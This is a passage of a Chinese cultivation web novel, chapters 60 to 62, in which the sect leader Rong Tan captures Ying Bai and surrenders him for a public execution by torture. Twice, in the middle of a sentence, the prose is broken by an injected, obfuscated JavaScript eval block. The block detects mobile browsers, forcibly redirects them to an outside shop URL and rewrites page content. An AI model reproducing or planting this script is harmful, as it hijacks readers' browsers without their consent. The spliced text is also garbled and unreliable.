这些衣服不是白色的就是蓝色的,或者是淡紫色,精美华丽,符合掌门身份的同时也一定要与她额间的中灵之蓝相配。 容檀甚是满意,几套衣服试完后,时辰已经不早了,她刚宽衣准备上床睡觉就听门外弟子小心翼翼道:“掌门,弟子有事禀告。” 容檀心内生出一股厌烦,白日多忙都不要紧,为何到了睡觉时间还要有人打扰,“什么事啊?” 那弟子的声音似乎更轻更小心了:“弟子从南海带回来了一个人。” 南海? 容檀闭着眼略一思索后,登时一跃起身,飞快穿了件外衫,上前开门。 一阵香风拂面而过,一身素衣,面若冰霜的容掌门踏门而出,干净的面容上虽已褪去了脂粉的精美,但在月光的照耀下更加白皙清冷。 容檀警惕地看着眼前两人,一个是清凌门的弟子,就是她一直以来派去探查南海情报,搜寻应白踪影的人,另外一个…… 浑身被粗绳绑着,白胡子长可及胸,头戴斗笠,一副苍老垂暮的模样。 容檀心生诧异,她还以为是跟应白有关的事,谁知道这弟子深夜绑个老头来干什么? 她刚欲开口问这人是谁,便见这老头的双眸在月色中显现出了一抹熟悉的神色,棕色眼眸隐藏在浓密的白眉毛下,流露出不符合年龄的镇定冷漠。 容檀微微一笑,心中了然。此刻虽只简单披了件外衣,但她仍端起架子,走到这“老头”身边,悠悠道:“许久不见啊,应白圣灵。” 60. 替罪羊 自从连逸决定尝试改变容檀的性情以后,便尽可能的在一些细微小事上表现出来对她的关爱。 因为想让一个人心中有爱,就要先给予她爱。但爱究竟是什么,要怎么做,连逸并不是很清楚,他思忖着,反正在不违背自己原则的情况下,尽量为她排忧解难。 容檀喜欢屋子里又干净又馨香,连逸就根据自己从容檀身上观察来的喜好去摘些鲜花放在瓶子里,错落有致,摆出容檀喜欢的风格。 容檀每日要看的文书经常因为她不停的走动而顺手一放,再要看时便找不到了,连逸一有空,就把东西收拾好,整齐摆放在桌上,只要容檀一坐在位上,伸手就能拿到。 容檀每晚睡前要往脸上抹一种保养皮肤的浆糊,连逸不知道这是什么,黏糊糊的,只管它叫浆糊。以前是后厨的人熬好了送过来,现在是后厨的人送给连逸,连逸再送过来。 对,连逸不仅要让自己经常在容檀面前晃悠,示意她自己对她的关心,还要不停地、在适当的时候对她说“掌门,喝点水吧。”“掌门,该吃饭了。”以及“掌门,天色已晚,明日再看吧。” …… 总之,在连逸的众多故意为之下,所有的细事,小事,都不需要容檀操心。连逸会把容檀需要的,接下来的要干的,提前准备好,容檀只要一开口,连逸就知道她要做什么,随后回复:“掌门,都安排好了。”或者“掌门,已经做完了。”“掌门,请稍等。” 最近几日,容檀嫌弃晚上往脸上抹东西太麻烦,有那功夫都能多睡一会,但保养皮肤仍然很重要,于是把抹的换成喝的了。 这日,连逸忙完手上的事务将厨房送来的玫瑰桃胶玉露端给容檀,刚穿过长廊来到院中,就看见容檀一身素衣站在门口,门前站着两个人。 容檀刚识破老头的身份,正欲质问前些日子沸沸扬扬的圣灵遭祸一事是否是应白所为,便瞥见了进入院中的连逸。 看到他后,容檀忽然想到自己正随便穿着件外衣,披散着头发,脸上的脂粉也洗干净了,形象十分没有威严且随便,要是在连逸面前呈现弱势可不是容檀所希望的。 她不动声色挺直了身板,目光不经意在他身上一瞟又收了回来盯着应白。 “掌门,夜已深,发生什么事了?”连逸走上前来,注意到容檀一身衣裳分明是已经睡下后又被人叫了起来。 依照容檀的脾气,要是没有大事,绝对不会有人这么做。他看向旁边的一个老头和清凌门弟子。 这弟子连逸认识,是容檀长时间派去在南海驻守观察的人,这个老头…… 连逸正想看他的正脸便听容檀道:“你说得对,天已经晚了,有什么事明日再说吧。”她转头看向那弟子:“把他带下去,好好看管。” 她可不想以这样的形象来处理事务,何况若连逸知道那人是应白,定然又要啰啰嗦嗦,她睡觉的时辰就更少了。 不过,容檀有自己的心思,应白也有自己的心思,虽然他自始至终没说一句话,但在转头被带走的瞬间,他特意看了连逸一眼,棕色的瞳孔在夜色下悄然一闪。 当连逸的瞳孔从迷惑到慢慢放大时,应白便知他已认出自己,于是在连逸开口之前便微微眯眼,轻轻摇头,示意他不要多说。 一时间,连逸脑中闪过多个问题,多种可能,可他还未及深思,手中的碗就被人拿走。 容檀接过碗喝了个干净又放回他手中,不去看他的眼睛,“喝完了,你走吧。”她转身就要进屋,连逸满脑子都在想应白怎么会突然出现?容檀要对他如何?急切的心情让他脱口而出:“掌门!” 容檀的门已经关了一半,闻言抬眸看他。 对方冰冷的双眸让连逸恢复了几分理智,在还未搞清楚发生了什么事,先不要激怒她的好。 于是他将自己想说的话在喉间咽下,随后想起自己一直在做的事,将目光放在她身上这两件单薄的衣裳上,忽然发现此时的容檀容颜洁净,皎洁的月光洒在她白皙修长的脖颈上,映衬得她整个人也如月华般皎洁透亮。 恍若一片霜花猛地飘落在肌肤上,激起一震冰凉,他心头一抖,嗓音僵硬道:“快到冬天了,夜里冷,掌门注意保暖,多穿点衣服。” 兴许是为了彰显自己的地位,容檀只是面无表情地看着他,然后“砰!”将门关上,似乎这样就能弥补自己刚才在他面前的弱势形象。 一阵呆愣过后,连逸急于想知道心中的问题,于是先若无其事地离开容檀所在的院子,然后身形一跃,足尖在屋顶上如蜻蜓点水般飞奔,地面及远处的景象十分清晰地呈现在眼前。 他捕捉到了靠近清凌门地牢门口的两个身影,于是蛰伏在树上,待那弟子独自出来后再进牢内。 看守地牢的弟子虽说直接听命于容檀,但也是会察言观色的,看到连逸,首先想到的是他行事怪异,思想另类,有偏帮应白之嫌,再想到的是他在清凌门的身份地位。 连逸在清凌门内是除了掌门和尊主外灵力最高的弟子,这些弟子也不知道方才送进来的老头就是应白,还以为连逸奉容檀之命来审讯刚才的老头。 于是,守门弟子互相看了一眼,对他很是不屑,嘴上则打着招呼:“大师兄。” 一间间牢房扫去,连逸终于找到了老头模样的应白。 原来应白坐船划到岸边时,那个常在南海观察的清凌门弟子看出了他并非南海的渔民,想到先前众人在海上围捕应白时应白就是一身老头装扮,于是分外注意这人样貌。 虽说这副老头打扮和上次有很大区别,但这弟子一直盯着他,越看越觉得像,反正应白没灵力,便一不做二不休掏出一个布满灵力的绳索朝应白挥去。 纵然应白武艺高强,完全有机会逃走,但这弟子只要用点灵力就能将他束缚,喜滋滋地绑了应白带去清凌门邀功。 “这么长时间你和容珠都在哪躲着?”连逸目色含忧,言语里尽是急促,“你知道吗,我还以为你们被海浪吞噬,淹死在海里了。” 应白沾满假胡子的嘴巴勉强笑了一下:“说来话长,总之,我们所在的地方很安全,不会被人发现。我此次现身是有更重要的事做,容珠还等着解药救命,我不能耽搁太久……” 他话还没说完,连逸就震惊道:“什么?容珠师妹怎么了?” “她中了灵根草的毒,我要回师父那里拿解药。” 当时喂邱梧喝完解药后,应白忽然在某一个瞬间依稀想起了一件事,是他还没下山成为圣灵之前,好像在东林山的某个地方,有几株会发光的草。 当时他师父说那是自己炼药用的药草,有剧毒,让他不要碰,应白对草药炼药不感兴趣,所以从来不在意这些草药究竟是什么,现在想来说不定就是灵根草。 他知道穿越海屏障回到自己的世界是十分冒险的事,可比起在朝荣国大海捞针寻找灵根草,他还是觉得东林山更有希望,只要有任何一丝能救醒容珠的可能,不管多危险,他都要抓取。 “应白!”连逸隔着牢门抓住了他的手腕,刻意压制着声音却仍难掩激动:“清凌门就有灵根草种子熬成的凝珠!” 应白缓缓睁大眼,但如果想办法去偷清凌门的东西未免又增添了风险,还不如想办法离开这里回东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852211|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林山采。 谁想连逸道:“我曾经遇见过灵根草,但因不知它根茎有刺而中毒,多亏先掌门,也就是容珠的父亲给我提炼出了种子凝珠,当时有两滴,我解毒用了一滴,还有一滴,在我那。” 这下子,应白的心已然按耐不住,他用询问的目光直视连逸,想从他那再次确认所言非虚。连逸郑重地朝他点点头,瞥了眼守卫的踪影,悄悄道:“眼下得想想,你如何离开清凌门。” * 第二日,阳光明媚。 “应白。”容檀倚在椅子边,居高临下地看着他,“谷嵩圣灵和尤鸣圣灵的死,是否是你所为?” 昨天晚上,连逸已经将近段日子来发生的事告诉了应白,他猜测这也是容檀即将对应白做出举动的原因。 听到这个消息的时候,应白脑子里首先想到的是在魔龙洞穴中,从黑色光芒里看到的场景。 看来黑色光芒里出现的画面都是实时发生的,可圣灵二字就是世界强者的代表,怎么会突然间就死了? 应白坦荡荡对上容檀的目光,轻笑道:“容掌门觉得,如果是我杀死了两位圣灵,那么贵派还有本事抓住我吗?” 容檀笑道:“可是你曾经是圣灵啊,你清楚知道每一位圣灵的弱点,你连漩涡之境都能出来,谁知道你这次用了什么手段呢?两位圣灵的灵核已被人剖出,普天之下,谁会需要别人的灵核?” 她带着推断的语气,眼睛直勾勾看着应白,自问自答:“是你。你本就没有灵核,若拿别人的灵核居为己用,再合理不过了。” 应白静静地笑看着她。 容檀继续:“以前,人的体内只能有一个灵核,即便拿了比自己灵力高强之人的灵核,也得先把自己的灵核剖出。可生剖灵核,代价不容小觑,几乎没有人会冒着生命危险去吸收别人的灵核,还是两个。 “而最近却有一件事传得沸沸扬扬,便是人体内可以同时容纳两个灵核,若成功便相当于是半个神仙。你隐藏自己有可能是因为你在等一个契机,或者你要做的还未完成。如今我见到本尊,真的特别好奇,你究竟是如何杀了谷嵩和尤鸣圣灵的?” 应白千想万想,也没想到在自己不在的这段时间内,凭空背负了这么多罪业,看来在这个世界中,他的坏名声已然是彻彻底底,以至于出了任何的事,别人不用去想都说定是他干的,即便自己没有能力去干,别人也会想象出理由。 眼前的容檀容掌门,从头到尾给应白找的杀人理由仿佛是真的一样,若不是应白本人听了,只怕他也要相信此人动机合情合理。 别人认定的东西,解释只会是多余的,但不是自己做的,为什么要让自己背负? 应白看着眼前这个跟容珠有血缘关系却丝毫不相像的容檀道:“容掌门不妨仔细想想,近几个月来,圣灵宫已死三位圣灵,如此前所未有的重大之事发生,已经是一个极大的预示,说不定这世上有某个人正在背后密谋干什么坏事。” “除了你,我想不出还有谁。”容檀斩钉截铁道。 “每个人都能想到的人能密谋什么大事?早就在成事以前就被众人解决了。” 应白缓缓道,“如果我要实行一个庞大的计划,一定会找一个替罪羊,且这个替罪羊一定是人人喊打,臭名昭著的人,因为这样,众人才不会想到幕后之人另有其人。等这幕后之人计划完成的那一刻,只怕会带来意想不到的灾难,焉知容掌门会不受牵连?到时候再反抗只会是徒劳无功。” 应白望着容檀若有所思的神情又添了把火:“容掌门拥有精妙的推理能力,怎么会想不到这一层面呢?” 61. 入虎穴 容檀是一个什么样的人,应白在与她几次的言语交锋中也晓得了。 第一次见容檀,是他和容珠莫名离开漩涡之境的那天夜里,容檀对拥有圣灵印记的他彬彬有礼,对废物容珠深感厌恶。 冷血无情,以强者为尊,是这个世界绝大多数人拥有的特质。 第二次,他为了将当做生辰礼的容珠救出来而向容檀做交易,但她既要护身符又想过河拆桥,将他上交圣灵宫。 很显然,圣灵宫的一切对她的诱惑是很大的,她仰慕圣灵宫,崇敬圣灵,同样她也以自我为中心。 第三次,也是这一次,圣灵宫说他是杀害两位圣灵的凶手,容檀或许信也或许不信,她的目的在于圣灵宫想要他,而不是他是否真的是凶手。 这样一个冷血,慕强的女子只会将比她灵力高强的人看在眼里,她的眼里心里只有强弱尊卑之分。 应白暗暗想着,此番被捉来清凌门,无异于羔羊入了虎穴,凶多吉少。 果然,他心头刚升起一丝不好的预感,就听容檀若无其事道:“那又如何?哪怕你真的不是凶手,但圣灵宫要你的命,我又有什么理由放过你呢?” 她目视堂外,望着远方,望着高处:“我容檀以圣灵宫为尊,那里是每个人的信仰和毕生追求的地方,而你如今的身份说再多的话都只是狡辩!” 连逸不动声色瞧了她一眼,预感到容檀要有所动作,而应白,将要面临未知危险。 应白注视着她,双眸散发出冷静又凌厉的镇定,仿佛有一把无形的刀藏在他的身上,让人暂时忘了他已非圣灵的事实,好像下一刻,他就会将绑在自己身上这道充满灵力的绳索化为灰烬。 就这么一刹那的恍惚,容檀忽然从他身上看到了强者的影子,让她陡然心生胆怯,心生冒犯。 就在三人各有所思之时,一弟子神色匆匆赶来,开口便道:“掌门,圣灵宫万初圣灵驾到!” 这一刻,连逸忽然顿悟,他双眸一惊,看着高座上的容檀神色从容,眼尾含着隐隐喜色。 “上一次让你跑了,这一次,我要让整个修真界的人都知道,是清凌门抓住了潜逃多日,罪魁祸首的应白。” 容檀将目光从应白身上移走,也消散了心底刚刚生出的错觉,眼下清凌门正有一桩立功的机会,不枉她费心一直在南海安插眼线。 当日一事众人都以为应白会被海浪淹死,可清凌门的船只离得最近,她清楚看到应白和容珠是慢慢消失的。 他们的身子在一点点消失,呼啸的海浪也在他们彻底消失后席卷而来的。 可两个活生生的人怎么会凭空消失?就像是……就像是他们的身后有一个无形通道…… 当时事发突然,容檀心里一直存疑,未跟任何人说过,她预感若应白和容珠再次出现,一定会从南海现身,所以她一直派弟子在南海驻守。 连逸的心从嗓子眼倏然坠入谷底,随着容檀一声令下,应白被弟子带了出去。 圣灵亲自来到派内可是十分隆重荣耀的事,正在练功的弟子们也要放下武器去迎接跪拜。 门外,一身白衣白发的万初正立于一片空地上,长可及肩的白眉下是一双正在闭着的眼,周身威严强大的气息令人备受压迫,屏息绷身。 “清凌门掌门容檀拜见万初圣灵。”容檀匆匆赶来,面色尊敬,语言诚挚。 身后还在愕然中的连逸只能硬着头皮施礼,尊主容江今日恰好不在清凌门,乌压压的一片弟子都规规矩矩地在后面施礼。 只有应白若无其事地站着。 应白森然地看着这个人,比起圣灵宫其他令他不喜的圣灵相比,万初可谓是应白心中最恨的一个。 他曾把信任给他,对他无话不谈,也相信万初一定理解仁爱的重要性,可万初却说“爱是懦弱者的行为,善良是最低贱的品质。” 万初是彻底的维权人,他不容许有人质疑圣灵宫,有人藐视圣灵宫,同样,他维护圣灵宫,就是在维护他的地位和权威。 圣灵宫虽曾有七位圣灵,可万初是灵力最高深的一个,他的地位不容侵犯。 此时,万初的双眸微微睁开,他不需要抬眸,不需要寻找,就能确定应白的位置。 “清凌门。”他沧桑沉重的声音从喉间发出,“很好。” 没有多余的废话,他手指一抬,身后的两名圣灵宫使者立马会意,二人上前将应白架住,跟随万初的身影在众人面前离开。 连逸的心凉了半截,他十分清楚应白被抓去圣灵宫意味着什么,恐怕……恐怕…… 他看到容檀心满意足地回头,朝他得意一笑,仿佛胜利者向失败者的宣扬。容檀的开心不是因为应白落网,而是来自圣灵宫对清凌门的认可。 身后传来弟子们对容檀仰慕钦佩的称赞。 她的脑子里究竟在乎什么? 他和容江一直想把她从强者为尊的思想里剥离出来重新建立善恶之情,但无果。 心逐渐冰凉透底,他回身望着容檀被弟子们簇拥渐渐远去的身影…… 他还要继续尝试改变她吗? * 圣灵宫,应白已经五年没有来了,上次来这救容珠也只是在外围的时候就遇见了她,这次是真真正正穿过结界,踏上了层层长阶,来到了金碧辉煌的万恶之源。 不消一刻,其余圣灵便知道应白被抓的消息,徐旻第一个赶到,随后是金闻,左舒知道此事却因练功而对此漠不关心。 “这左舒满脑子只想着他女人,没出息。”徐旻听到使者的禀告后语露不屑。 宽敞的大殿里原本摆放着七把椅子,万初坐在中间,徐旻和金闻一左一右坐下,除了没来的,剩下的三把空着的宝椅的主人都已死了。 应白站在大殿中央一一扫视过眼前景象,心头终于生出一股危机感。 容檀出乎意料的举动让他真正进入了虎穴,变得十分被动,他的怀里还揣着灵根草的解毒水,这是连逸今晨拿给他的。 离救容珠就差一面海屏障,可他没有办法去,眼下的一切都变得无比艰难,甚至说毫无生机。 万初一眨不眨地盯着他,像在审视一个犯人,也像在洞悉他的秘密。良久,他才开口:“应白,你是怎么离开漩涡之境的?” 漩涡之境没有施术者的允许,里面囚禁的人是不可能出来的,他们在里面连出口都触摸不到,但应白竟真真切切地逃离了那里。 万初起初认为是应白的诡计,可他的灵核尚在圣灵宫,他没灵力就更不可能找到出口。后来,万初又怀疑是自己当时创建的漩涡之境有破绽,当他打开关押应白的那一方境地,仔仔细细检查后,的确没有任何损坏的痕迹。 这便有些匪夷所思。 应白面色平静道:“你问我,我又问谁呢?我脚一踏就出来了。” 万初微微眯眼,他又问:“昌修生辰那日,你意图潜入圣灵宫,是不是要拿回你的灵核?” 应白道:“是。” “是不是你杀了谷嵩和尤鸣?” “没有。” “谷嵩亲口说是 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万初始终阴沉着脸,不动如山坐在宝座上,他双眸苍老又锐利,从未从应白脸上离开,终于,他的白胡子动了动,“应白罪大恶极,早该诛杀,既然所有的源头都是他酿成的,杀了他也就清净了,何必费那些事。” 他抬手在身旁桌椅上拿起笔,飞快在纸上写着什么,盖完章后,只见他掌心冒出一股银色的灵力,随后按在写好的纸上,登时底下的纸全部带有相同内容。 “拿去给各门派看。”他手一挥,写有文字的数份文书都交到了使者手上,使者得令后飞速离殿而去。 万初起身,一步步走向他:“我有的是法子戳破你的狡辩。” 他站在应白面前一步远的地方,忽然抓住他的手腕,一丝丝银白色的灵力圈住应白胳膊片刻后,万初的眸光闪过一丝讶异,“你体内根本没有灵力。” 他当然没有灵力,他没有灵力不是人尽皆知的事吗? 应白已经不屑说话了,就像容檀说的,他被安上罪名的那一刻起说的任何话都是狡辩。 “生剖灵核的滋味,我想你一辈子都忘不了吧。你让他们都经历你曾经的痛苦,是不是终有一天,你也想将我的灵核挖出来?”万初阴狠地看着他。 应白直直与他对视,生剖灵核犹如剜心,他当然一辈子都忘不了,不仅忘不了,他胸下的那条疤痕还会时时刻刻提醒他这份痛苦,不只有肉//体之痛,更有对这个无情世界的悲痛。 “不日便是你的处决日,到那时你所经受的痛苦要比这难受百倍。”万初的声音像是一个鬼魅在哄小孩子唱儿歌一样。 “是你吧。”应白冷冷道,“这一切事都是你做的,一个个圣灵接二连三地死去,谁有这本事呢?只有你。” 万初眸中的神色更锐利了些,他似乎要用眼神穿透应白的脑袋,应白的心,将他这具疯子,怪物的身体看个彻彻底底。 横亘在二人之间的仿佛是这世上最大最深的仇恨,从火焰被点燃的那一刻起,就朝着一发不可收拾的方向激烈蔓延,直到吞噬对方。 万初道:“你没多少日子说疯话了。” * 晚上,各门派之主都受到了来自圣灵宫万初圣灵的通知。容檀不急不慢打开外层,连逸在她身边悄悄看去,上面写着: 圣灵宫罪人应白私自逃离漩涡之境,加害圣灵,意图修炼禁术,实乃罪大恶极之行径,圣灵宫决定于三日后处决应白,届时各门派务必到场前来见证(万初印)。 62. 处决日 在处决日到来之前,应白暂时被关在万初殿旁的一个小屋里。 这间屋子简陋得不像是圣灵宫的建筑,唯有一张床,一张桌子,两扇窗户。从窗户的一角可以看到圣灵宫庭院的那株玉兰树树梢,如今快至冬日,玉兰早已凋谢,唯剩枯枝。 远处传来窸窸窣窣的脚步声,一列穿着白衣的圣灵宫婢女在远处的小径上端着东西往某个方向走。 万初宫里的婢女都身穿白衣,连他自己也常年一袭白衣,不知是不是人老了的缘故,万初似乎不喜欢有色彩的东西。 应白坐在椅子上沉思,脑子突突的疼。 他不是没想过在清凌门的地牢里越狱,不过地牢周边有阵法加持,不是翻窗户跳出去就行的,他一个没有灵核的人又怎么可能自己离开地牢? 容檀甚至连想都不用想就会怀疑跟连逸有关,应白并不想给他惹麻烦。 然而,一个麻烦过后是更大的麻烦,在这圣灵宫中,他只能坐以待毙。 他望着门口漂浮着的银白色光芒,那是万初给这间屋子设的结界。 心中一阵叹息,随之而来的是焦躁和急切,他从怀中拿出乘着灵根草解毒水的小瓶,这里面是容珠活着的希望。 他多么迫切地希望沈宫主他们已经找到了灵根草,他迫切的希望容珠已经醒了过来,他恐怕…… 恐怕…… 回不去了。 * “徐旻兄,罪人应白终于要处决了,你说万初圣灵要让他怎么死呢?” 回去的路上,金闻和徐旻并肩而行。 论先来后到,当初是金闻先成为的圣灵,又过了五年,一名水月门弟子,名唤徐旻者在年度灵阶晋升比赛中,抽签挑战金闻圣灵,成功进入了圣灵宫。 这个挑战并不是一定要将谁打败,而是在一炷香熄灭的那一刻,徐旻能站起来就是挑战成功。 在此之前,徐旻在水月门内可以说毫无存在感,成为圣灵后理所当然打响了名号,摆脱了旧门派,踏入新宫殿。 所有人都以为水月门会因派内出了个圣灵而耀武扬威,事实上,水月门却异常安静,就好像发生了什么丢人的事要闭门躲藏。 之后,徐旻经常跟金闻来往,金闻为人孤僻,不喜与人交谈,只与徐旻稍显亲近一些,如此,徐旻只觉跟金闻有分外有缘。 这个亲近自然也不走心,圣灵宫里的圣灵都是表面和平,就像万初并不在意谷嵩和尤鸣的死,他提防的是应白东山再起。 徐旻笑道:“如果是我的话,惩治如此恶人自然要剥皮抽骨,尸体挂在天阙台上暴晒三年,以儆效尤,看谁敢对圣灵宫不敬,藐视强者。” “万初圣灵嘛……”徐旻话锋一转,“他当年对应白如此看重,总想着和他切磋武艺,讨论功法,可惜他看走眼了,没想到应白虽灵力高强,骨子里却懦弱卑贱,妄图用仁爱来统治世界,岂不可笑之极!” “万初是绝不允许有人侵犯他的,至于怎么个死法……他一定比我们能想到的残忍多了。”徐旻笑得惬意,两只手放在他圆滚滚的肚皮上,就像一个喝足了酒的饭客。 金闻也笑笑,忽然正色道:“可按理讲,应白的体内应该已经拥有了两个灵核……” 徐旻笑容凝固。 “人死后,应白必须要在一个时辰内将灵核放入体内,不过他在杀谷嵩的时候应该出了问题,发疯的谷嵩跑了出来,被清凌门撞见。”金闻不紧不慢道。 “就算应白没有把握时机吸收谷嵩的灵核,那尤鸣的灵核他一定占据了” “可是……”徐旻的眸光在夜色下闪过一丝不安,“那他怎么还会被万初抓来?为什么他身上没有一丝灵力的气息?” 暮色来临,金闻的脸昏暗不明,半晌,他带着有些忧虑,有些害怕的神色看向徐旻:“让灵气隐藏不是难事,说不定他心中在酝酿一个庞大的计划,他是故意让万初抓来的。” “他想干什么?”徐旻的声音又低又哑。 金闻摇头,一脸沉思。 “我们得告诉万初圣灵!”徐旻忽然提高了声音,惊得枝头上一只落脚的小鸟骤然起飞。 金闻一把拉住他,神情严肃:“不要打草惊蛇,你想想,万初的性情最是极端,若他知道应白另有计划,只怕要拉上我们拼个鱼死网破,而应白拥有两个灵核之力,我们怎会是他的对手?” “可我们不能让应白的计划得逞啊!” “我们不知道他有什么计划,而现在应白也不知道我们已经知道他另有计划,他在明,我们在暗。” 徐旻更困惑了,“所以你要做什么?” 月色下,金闻的脸苍白得瘆人,可他双眸明亮,犹如隐藏在暗夜里的一把尖刀。 * 三日后。 今天是个隆重振奋的日子,修真界重犯应白终于迎来早该属于他的处决之日。 天刚微微亮,各大门派中人陆陆续续赶往天阙台,偌大的场地中央摆着一具十字架,虽然现在还是空荡荡的,但众人已然想象出应白被架上的样子。 容檀昂首挺胸,精神抖擞地踏入天阙台,作为现今最年轻的掌门,颇具实力的中灵,以及抓住了应白这一大功,清凌门掌门容檀足可以大摇大摆进入人群之中,尽情地享受着他们对她的窃窃私语。 她知道,不甘心的人有很多,瞧不起的人也有很多,可在事实面前,这都是虚无飘渺的嫉妒,他们越是不乐意,容檀心里越高兴。 而她身后的连逸,精神便没这么好了,他面颊有些苍白瘦削,双眼下也积着一片乌青,整个人看上去像被人操控的僵硬木偶。 水月门掌门之女水落泽轻哼一声,声音特地扬了两分道:“低灵门派就是低灵门派,没有本事提升灵阶,做什么都是无用的。” 站在左边的掌门水照笑道:“不过是踩了狗屎运罢了,又有什么值得炫耀的。” 人群中接二连三的人扬起了笑容,站在水落泽右边的一个年龄稍大些的女子仿若一个置身事外的人,从她来到天阙台开始,就一直在伸着脖子往长阶上看,所有的窃窃私语和低笑讥讽她都毫不关心。 她看起来有三十多岁,身子有些瘦弱,容貌却很动人,眉间含忧,目中含盼。她便是水落泽的姐姐水露蓉,也是圣灵徐旻曾经的妻子。 容檀对他们的语言侮辱毫不在意,今日她心情好,看什么都是美的,不过当她瞥到面目无神的连逸时,容檀便沉下脸来。 她知道连逸心里在想什么,虽然他这些天一如既往地在她面前晃悠,端茶送饭,丝毫不提应白之事,但容檀知道,连逸心里是不好受的。 连逸心里不好受,容檀心里便格外好受,可是好受着好受着也觉得没有意思,方才的好情绪此刻全没了,容檀责怪道:“你不要像个死人一样好吗?” 连逸木讷地转过头,面对容檀,机械地问:“掌门有什么吩咐?” 她想脱口而出“滚”,不过这念头在心里一转便没有说出来,她不想看他一张臭脸,今日在场众人都是容檀所不喜欢的,可他们再怎么嘲笑她,容檀心里都不在意,偏偏一看到连逸这副脸,容檀便很不是滋味。 一个时辰后,长阶处传来动静,原先沸沸扬扬的人群在突然之间就安静了下来。 两位使者一左一右驾着一人来到十字架前,将他的两条胳膊和双腿绑在架上,数百双眼睛灼灼盯着,这可不是应白那疯子吗? 叽里呱啦的谩骂之声很快在天阙台上传开,水露蓉仍置身事外,一直在看长阶处,连逸的脸色终于有变化了,他眉头深锁,眸中尽是急切担忧。 很快,长阶前的结界又有了动静,万初、徐旻、金闻和左舒四位圣灵相继出来,场中再一次安静下来,片刻后纷纷拱手拜见。 水露蓉满脸欣喜地看着徐旻,而徐旻并没有看向她。 应白将不远处的一群密密麻麻、形形色色的男男女女都扫视了一遍,今日便是他的死期,不知道沈宫主他们有没有将容珠救活…… 如果没有怎么办?如果他们一直没能找到灵根草怎么办?他要怎么才能把怀里的解毒水给他们?他可能从天阙台上逃走吗? 这几日他但凡闭上眼睛陷入睡梦中时总能梦到容珠,一会儿是她得救了,一会儿是她死了。 底下的人们对他指指点点,振振有词,聒噪的声音让应白的身体更加不舒服。 这股异样的感觉已经持续了两日,仿佛体内有一团火苗在燃烧,初时不觉得有什么,许是跟他焦躁有关,可他没法稳住自己的心,这簇火苗也渐有扩张趋势。 直到此刻,他的整个身子像在燃烧,他感到憋闷,压抑,同时为自己的异样感到迷惑警惕。 万初的身影向前走了两步,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860159|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群很快安静了下来,人人都怀着期盼尊敬的目光看向这个白衣老头,他是这个世界的强者,是所有人羡慕仰慕的存在。 “今日是罪人应白的处决之日。众所周知,应白私自逃离漩涡之境,妄图闯入圣灵宫拿走灵核,后计划失败,又设计剖取谷嵩和尤鸣的灵核,欲图修炼禁术。”万初沧桑洪亮的声音在天阙台回响。 连逸气愤地看着他,声音从齿间挤出:“他没有。” “多年以前,应白就想忤逆圣灵宫,按照他自己的想法祸乱天下,蛊惑人心。当时没能立即处决实在是一大失误,如今罪上加罪,天诛地灭也不为过。” “他没有。”连逸的声音好像说得更加艰难,他的脸变得更苍白了,双眼却是愤慨无比。容檀回眸狠狠盯着他,双唇微启,也从牙缝里挤出两个字:“闭嘴。” 她可不想让其他人听到连逸说的话,不然清凌门就被认定与应白同伙,就是罪人了。 万初的声音继续在天阙台上传来:“今日,便由我来亲手处决应白,所有人都必须谨记,圣灵宫是世界上最具权威的存在,弱者低贱是永远改变不了的事实,如有异心者,造谣生事者,暗自拉帮结派企图破坏规则的人,圣灵宫绝不姑息!” “他没有!” “连逸!” 两人咬牙切齿地低声怒吼。 话音一落,只见一道银白光芒从万初掌心闪过,白色拂尘应运而生,随着万初手臂的一番动作,一根根银丝从拂尘上脱落,定格在半空中。 “千丝万缕。”徐旻慢悠悠地说着,眼中弥漫起层层笑意。 应白将目光聚焦在自己正前方不远处。他知道,千丝万缕是万初的绝技之一,将一根根拂尘上的银丝一下一下打入人的体内,银丝逆着血液在人体流走,人就像行走在荆棘丛中,痛不欲生却无法摆脱。而陆陆续续进入体内的银丝会在心脏处汇集,将心脏重重勒住,痛感随着银丝的增多不断加强,而只有当第一千根银丝到达心脏时,人才会彻底死去。 他看到万初双眸微眯,第一根银丝已然飞了过来,瞬间钻入他的肩膀处,他能感觉到这根银丝在他经脉处游走,呲呲啦啦划过他的血肉,尖锐的痛感犹如万马奔腾,他完全招架不住。 人人的双眼在看到这一幕时瞬间变得雪亮,修真界头号罪人受到如此严惩可谓是皆大欢喜,看得人酣畅淋漓。 每一根银丝在勒住心脏后,下一根银丝才会发动。 一下一下,一根一根,应白面色惨白,汗珠顺着额头滑落,整个人的身体在微微抖动着,他不仅要承受银丝带来的尖锐之痛,还要承受体内烈火的熊熊燃烧。 第九十根银丝钻入了他体内。 同一处伤口,在经过九十次的刺入后已经开始蜿蜒流血,渐渐地,他的半面衣服已经鲜红一片。 第九十八根。 应白双眸开始迷离,体内的熊熊火焰似乎在叫嚣着喷出,心脏的包裹感让他痛苦万分。 人群高兴着,愉悦着,人人乐见其成。 水露蓉依旧事不关己,只一心一意看着徐旻,连逸的面色几乎与应白分毫不差,每一根银丝的发动都让他呆愕愤恨万分,而容檀根本没心思去看应白受刑,她一直在观察连逸的举动,生怕他做出什么有损清凌门的事来。 第九十九根。 